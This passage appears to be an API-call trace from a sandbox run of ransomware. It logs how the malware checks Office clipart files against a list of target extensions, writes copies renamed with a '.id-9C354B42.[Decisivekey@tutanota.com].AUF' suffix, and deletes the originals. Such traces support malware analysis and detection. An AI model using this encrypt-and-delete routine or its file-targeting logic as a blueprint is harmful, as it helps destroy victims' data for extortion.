lpString2=".WMF") returned -1 [0218.606] lstrlenW (lpString=".bz2") returned 4 [0218.606] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.606] lstrlenW (lpString=".7z") returned 3 [0218.606] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0218.607] lstrlenW (lpString=".dbf") returned 4 [0218.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0218.607] lstrlenW (lpString=".1cd") returned 4 [0218.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63 [0218.607] lstrlenW (lpString=".jpg") returned 4 [0218.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.607] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1212) returned 1 [0218.607] CloseHandle (hObject=0x1fc) returned 1 [0218.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0218.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.608] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.608] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0218.608] GetLastError () returned 0x0 [0218.608] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x4bc, lpOverlapped=0x0) returned 1 [0218.627] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0218.628] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.628] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.628] SetEndOfFile (hFile=0x20c) returned 1 [0218.628] CloseHandle (hObject=0x20c) returned 1 [0218.628] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.628] SetEndOfFile (hFile=0x1fc) returned 1 [0218.629] CloseHandle (hObject=0x1fc) returned 1 [0218.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0218.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0218.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0218.629] lstrlenW (lpString=".doc") returned 4 [0218.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.629] lstrlenW (lpString=".docx") returned 5 [0218.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.629] lstrlenW (lpString=".pdf") returned 4 [0218.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.629] lstrlenW (lpString=".xls") returned 4 [0218.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.629] lstrlenW (lpString=".xlsx") returned 5 [0218.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.629] lstrlenW (lpString=".ppt") returned 4 [0218.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0218.630] lstrlenW (lpString=".zip") returned 4 [0218.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.630] lstrlenW (lpString=".rar") returned 4 [0218.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.630] lstrlenW (lpString=".bz2") returned 4 [0218.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.630] lstrlenW (lpString=".7z") returned 3 [0218.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0218.630] lstrlenW (lpString=".dbf") returned 4 [0218.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0218.630] lstrlenW (lpString=".1cd") returned 4 [0218.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63 [0218.630] lstrlenW (lpString=".jpg") returned 4 [0218.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.630] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2488) returned 1 [0218.630] CloseHandle (hObject=0x1fc) returned 1 [0218.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0218.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.631] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.631] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0218.631] GetLastError () returned 0x0 [0218.631] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0218.649] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0218.650] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.650] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.650] SetEndOfFile (hFile=0x20c) returned 1 [0218.650] CloseHandle (hObject=0x20c) returned 1 [0218.650] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.650] SetEndOfFile (hFile=0x1fc) returned 1 [0218.651] CloseHandle (hObject=0x1fc) returned 1 [0218.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0218.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0218.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0218.652] lstrlenW (lpString=".doc") returned 4 [0218.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.652] lstrlenW (lpString=".docx") returned 5 [0218.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.652] lstrlenW (lpString=".pdf") returned 4 [0218.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.652] lstrlenW (lpString=".xls") returned 4 [0218.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.652] lstrlenW (lpString=".xlsx") returned 5 [0218.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.652] lstrlenW (lpString=".ppt") returned 4 [0218.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0218.652] lstrlenW (lpString=".zip") returned 4 [0218.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.652] lstrlenW (lpString=".rar") returned 4 [0218.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.652] lstrlenW (lpString=".bz2") returned 4 [0218.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.652] lstrlenW (lpString=".7z") returned 3 [0218.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0218.652] lstrlenW (lpString=".dbf") returned 4 [0218.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0218.652] lstrlenW (lpString=".1cd") returned 4 [0218.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0218.652] lstrlenW (lpString=".jpg") returned 4 [0218.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.652] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1676) returned 1 [0218.652] CloseHandle (hObject=0x1fc) returned 1 [0218.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0218.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.653] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.653] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0218.653] GetLastError () returned 0x0 [0218.653] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x68c, lpOverlapped=0x0) returned 1 [0218.690] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x690, lpOverlapped=0x0) returned 1 [0218.691] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.691] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.691] SetEndOfFile (hFile=0x20c) returned 1 [0218.691] CloseHandle (hObject=0x20c) returned 1 [0218.691] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.691] SetEndOfFile (hFile=0x1fc) returned 1 [0218.692] CloseHandle (hObject=0x1fc) returned 1 [0218.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0218.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0218.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0218.693] lstrlenW (lpString=".doc") returned 4 [0218.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.693] lstrlenW (lpString=".docx") returned 5 [0218.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.693] lstrlenW (lpString=".pdf") returned 4 [0218.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.693] lstrlenW (lpString=".xls") returned 4 [0218.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.693] lstrlenW (lpString=".xlsx") returned 5 [0218.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.693] lstrlenW (lpString=".ppt") returned 4 [0218.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0218.693] lstrlenW (lpString=".zip") returned 4 [0218.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.693] lstrlenW (lpString=".rar") returned 4 [0218.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.693] lstrlenW (lpString=".bz2") returned 4 [0218.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.693] lstrlenW (lpString=".7z") returned 3 [0218.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0218.693] lstrlenW (lpString=".dbf") returned 4 [0218.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0218.694] lstrlenW (lpString=".1cd") returned 4 [0218.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0218.694] lstrlenW (lpString=".jpg") returned 4 [0218.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.694] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3494) returned 1 [0218.694] CloseHandle (hObject=0x1fc) returned 1 [0218.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0218.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.694] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.694] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0218.695] GetLastError () returned 0x0 [0218.695] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xda6, lpOverlapped=0x0) returned 1 [0218.789] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xdb0, lpOverlapped=0x0) returned 1 [0218.790] ReadFile (in: hFile=0x1fc, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.790] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.790] SetEndOfFile (hFile=0x20c) returned 1 [0218.798] CloseHandle (hObject=0x20c) returned 1 [0218.798] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.798] SetEndOfFile (hFile=0x1fc) returned 1 [0218.799] CloseHandle (hObject=0x1fc) returned 1 [0218.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0218.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0218.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0218.800] lstrlenW (lpString=".doc") returned 4 [0218.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.800] lstrlenW (lpString=".docx") returned 5 [0218.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.800] lstrlenW (lpString=".pdf") returned 4 [0218.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.800] lstrlenW (lpString=".xls") returned 4 [0218.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.800] lstrlenW (lpString=".xlsx") returned 5 [0218.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.800] lstrlenW (lpString=".ppt") returned 4 [0218.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0218.800] lstrlenW (lpString=".zip") returned 4 [0218.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.800] lstrlenW (lpString=".rar") returned 4 [0218.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.800] lstrlenW (lpString=".bz2") returned 4 [0218.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.800] lstrlenW (lpString=".7z") returned 3 [0218.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0218.800] lstrlenW (lpString=".dbf") returned 4 [0218.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0218.800] lstrlenW (lpString=".1cd") returned 4 [0218.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0218.800] lstrlenW (lpString=".jpg") returned 4 [0218.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.801] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2262) returned 1 [0218.801] CloseHandle (hObject=0x1fc) returned 1 [0218.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0218.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0218.801] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.801] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 